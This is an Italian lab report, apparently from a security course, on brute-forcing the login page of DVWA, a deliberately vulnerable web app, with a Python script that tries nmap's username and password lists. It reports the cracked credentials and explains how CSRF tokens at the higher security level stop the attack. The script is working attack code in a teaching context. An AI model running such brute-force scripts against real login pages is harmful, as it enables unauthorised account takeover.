Report Attacchi **Brute Force**

Per l'attacco **bruteforce** è stato usato il seguente codice

```
import http.client, urllib.parse

username_file = open('/usr/share/nmap/nselib/data/usernames.lst')
password_file = open('/usr/share/nmap/nselib/data/passwords.lst')

user_list = username_file.readlines()
pwd_list = password_file.readlines()

for user in user_list:
        user = user.rstrip()
        for pwd in pwd_list:
                pwd = pwd.rstrip()

                print (user,"-",pwd)

                post_parameters = urllib.parse.urlencode({'username' : user, 'password': pwd, "Login":'Submit'})
                headers = {"Connect-type": "application/x-www_form-urlencoded", "Accept": "text/html,application/xhtml+xlm"}
                conn = http.client.HTTPConnection("192.168.64.13",80)
                conn.request("POST" , "/dvwa/login.php" , post_parameters, headers)
                response = conn.getresponse()
                print(response.status)

                if(response.getheader('location') == "index.php"):
                        print("Logged with:",user, " - ".pwd)
                        exit()
```

La prima parte del codice importa le librerie `http.client` e `urllib.parse` per poter utilizzare le funzioni al loro interno.
Inizialmente apriamo all'interno delle variabili `username_file` e `password_file`, rispettivamente le liste `usernames.lst` e `passwords.lst`.
Il ciclo `<<for>>` ha provato tutte le combinazioni di username-password, per testare tutte le varie combinazioni si è usato un ciclo for `<<nidificato>>`,
Le combinazioni di password e username sono state inviate alle pagina di login: `</dvwa/login.php>` tramite una richiesta HTTP request `"POST"`

Il codice ha dato come esito le seguenti credenziali d'accesso:

- Username: `admin`
- Password: `password`

Il programma ha impiegato circa 2 minuti a trovare le credenziali d'accesso.

Si è notato che all'aumentare del livello di sicurezza della DVWA il programma impiega più tempo a trovare le credenziali, tranne al livello HIGH dove non riesce ad effettuare l'accesso perchè è presente un token CSRF che ha la funzione di generare un token univoco della sessione che rende credibile l'origine della richiesta di accesso.
Se si prova ad eliminare il token CSRF viene mostrato un messaggio di errore `(CSRF token is incorrect)` quando si inseriscono le credenziali. Ad ogni caricamento della pagina viene generato un token CSRF diverso, di conseguenza è più difficile riuscire ad accedere alla pagina.

Si verificano le stesse situazioni anche effettuando l'attacco Brute Force sulla pagina phpMyAdmin